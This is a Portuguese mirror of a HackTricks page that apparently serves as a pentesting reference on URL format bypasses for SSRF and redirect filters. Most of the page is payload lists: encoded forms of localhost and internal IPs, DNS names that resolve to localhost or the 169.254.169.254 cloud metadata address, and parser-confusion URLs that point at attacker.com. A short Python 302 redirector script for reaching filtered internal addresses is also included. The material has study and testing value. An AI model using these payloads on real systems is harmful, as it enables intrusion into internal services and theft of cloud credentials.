mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-01 00:49:40 +00:00
236 lines
10 KiB
Markdown
236 lines
10 KiB
Markdown
# Desvio de Formato de URL
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
|
|
**Grupo de Segurança Try Hard**
|
|
|
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
|
|
***
|
|
|
|
### Localhost
|
|
```bash
|
|
# Localhost
|
|
http://127.0.0.1:80
|
|
http://127.0.0.1:443
|
|
http://127.0.0.1:22
|
|
http://127.1:80
|
|
http://127.000000000000000.1
|
|
http://0
|
|
http:@0/ --> http://localhost/
|
|
http://0.0.0.0:80
|
|
http://localhost:80
|
|
http://[::]:80/
|
|
http://[::]:25/ SMTP
|
|
http://[::]:3128/ Squid
|
|
http://[0000::1]:80/
|
|
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
|
|
http://①②⑦.⓪.⓪.⓪
|
|
|
|
# CDIR bypass
|
|
http://127.127.127.127
|
|
http://127.0.1.3
|
|
http://127.0.0.0
|
|
|
|
# Dot bypass
|
|
127。0。0。1
|
|
127%E3%80%820%E3%80%820%E3%80%821
|
|
|
|
# Decimal bypass
|
|
http://2130706433/ = http://127.0.0.1
|
|
http://3232235521/ = http://192.168.0.1
|
|
http://3232235777/ = http://192.168.1.1
|
|
|
|
# Octal Bypass
|
|
http://0177.0000.0000.0001
|
|
http://00000177.00000000.00000000.00000001
|
|
http://017700000001
|
|
|
|
# Hexadecimal bypass
|
|
127.0.0.1 = 0x7f 00 00 01
|
|
http://0x7f000001/ = http://127.0.0.1
|
|
http://0xc0a80014/ = http://192.168.0.20
|
|
0x7f.0x00.0x00.0x01
|
|
0x0000007f.0x00000000.0x00000000.0x00000001
|
|
|
|
# Add 0s bypass
|
|
127.000000000000.1
|
|
|
|
# You can also mix different encoding formats
|
|
# https://www.silisoftware.com/tools/ipconverter.php
|
|
|
|
# Malformed and rare
|
|
localhost:+11211aaa
|
|
localhost:00011211aaaa
|
|
http://0/
|
|
http://127.1
|
|
http://127.0.1
|
|
|
|
# DNS to localhost
|
|
localtest.me = 127.0.0.1
|
|
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
|
|
mail.ebc.apple.com = 127.0.0.6 (localhost)
|
|
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
|
|
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
|
|
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
|
|
http://bugbounty.dod.network = 127.0.0.2 (localhost)
|
|
1ynrnhl.xip.io == 169.254.169.254
|
|
spoofed.burpcollaborator.net = 127.0.0.1
|
|
```
|
|
![](<../../.gitbook/assets/image (649) (1) (1).png>)
|
|
|
|
A extensão **Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementa bypasses de formatação de IP.
|
|
|
|
### Analisador de Domínio
|
|
```bash
|
|
https:attacker.com
|
|
https:/attacker.com
|
|
http:/\/\attacker.com
|
|
https:/\attacker.com
|
|
//attacker.com
|
|
\/\/attacker.com/
|
|
/\/attacker.com/
|
|
/attacker.com
|
|
%0D%0A/attacker.com
|
|
#attacker.com
|
|
#%20@attacker.com
|
|
@attacker.com
|
|
http://169.254.1698.254\@attacker.com
|
|
attacker%00.com
|
|
attacker%E3%80%82com
|
|
attacker。com
|
|
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
|
|
```
|
|
|
|
```
|
|
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
|
|
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
|
|
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
|
|
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
|
|
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
|
|
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
|
|
```
|
|
### Confusão de Domínio
|
|
```bash
|
|
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
|
|
# Try replacing https by http
|
|
# Try URL-encoded characters
|
|
https://{domain}@attacker.com
|
|
https://{domain}.attacker.com
|
|
https://{domain}%6D@attacker.com
|
|
https://attacker.com/{domain}
|
|
https://attacker.com/?d={domain}
|
|
https://attacker.com#{domain}
|
|
https://attacker.com@{domain}
|
|
https://attacker.com#@{domain}
|
|
https://attacker.com%23@{domain}
|
|
https://attacker.com%00{domain}
|
|
https://attacker.com%0A{domain}
|
|
https://attacker.com?{domain}
|
|
https://attacker.com///{domain}
|
|
https://attacker.com\{domain}/
|
|
https://attacker.com;https://{domain}
|
|
https://attacker.com\{domain}/
|
|
https://attacker.com\.{domain}
|
|
https://attacker.com/.{domain}
|
|
https://attacker.com\@@{domain}
|
|
https://attacker.com:\@@{domain}
|
|
https://attacker.com#\@{domain}
|
|
https://attacker.com\anything@{domain}/
|
|
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
|
|
|
|
# On each IP position try to put 1 attackers domain and the others the victim domain
|
|
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
|
|
|
|
#Parameter pollution
|
|
next={domain}&next=attacker.com
|
|
```
|
|
### Desvio de Caminhos e Extensões
|
|
|
|
Se for necessário que o URL termine em um caminho ou uma extensão, ou deve conter um caminho, você pode tentar um dos seguintes desvios:
|
|
```
|
|
https://metadata/vulerable/path#/expected/path
|
|
https://metadata/vulerable/path#.extension
|
|
https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|
```
|
|
### Fuzzing
|
|
|
|
A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) pode gerar variações a partir de uma entrada fornecida para tentar burlar a regex utilizada. Confira [**este post**](https://0xacb.com/2022/11/21/recollapse/) também para mais informações.
|
|
|
|
### Bypass via redirecionamento
|
|
|
|
Pode ser possível que o servidor esteja **filtrando a solicitação original** de um SSRF **mas não** uma possível resposta de **redirecionamento** para essa solicitação.\
|
|
Por exemplo, um servidor vulnerável ao SSRF via: `url=https://www.google.com/` pode estar **filtrando o parâmetro de url**. Mas se você usar um [servidor python para responder com um 302](https://pastebin.com/raw/ywAUhFrv) para o local para onde deseja redirecionar, você pode ser capaz de **acessar endereços IP filtrados** como 127.0.0.1 ou até mesmo **protocolos** filtrados como gopher.\
|
|
[Confira este relatório.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
|
```python
|
|
#!/usr/bin/env python3
|
|
|
|
#python3 ./redirector.py 8000 http://127.0.0.1/
|
|
|
|
import sys
|
|
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
|
|
if len(sys.argv)-1 != 2:
|
|
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
|
|
sys.exit()
|
|
|
|
class Redirect(BaseHTTPRequestHandler):
|
|
def do_GET(self):
|
|
self.send_response(302)
|
|
self.send_header('Location', sys.argv[2])
|
|
self.end_headers()
|
|
|
|
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|
```
|
|
## Truques Explicados
|
|
|
|
### Truque da Barra Invertida
|
|
|
|
O _truque da barra invertida_ explora uma diferença entre o [Padrão de URL WHATWG](https://url.spec.whatwg.org/#url-parsing) e o [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Enquanto o RFC3986 é um framework geral para URIs, o WHATWG é específico para URLs da web e é adotado pelos navegadores modernos. A distinção chave está no reconhecimento do padrão WHATWG da barra invertida (`\`) como equivalente à barra normal (`/`), impactando como as URLs são analisadas, marcando especificamente a transição do nome do host para o caminho em uma URL.
|
|
|
|
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
|
|
|
### Outras Confusões
|
|
|
|
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (629).png>)
|
|
|
|
imagem de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
|
|
|
|
## Referências
|
|
|
|
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
|
|
|
**Grupo de Segurança Try Hard**
|
|
|
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|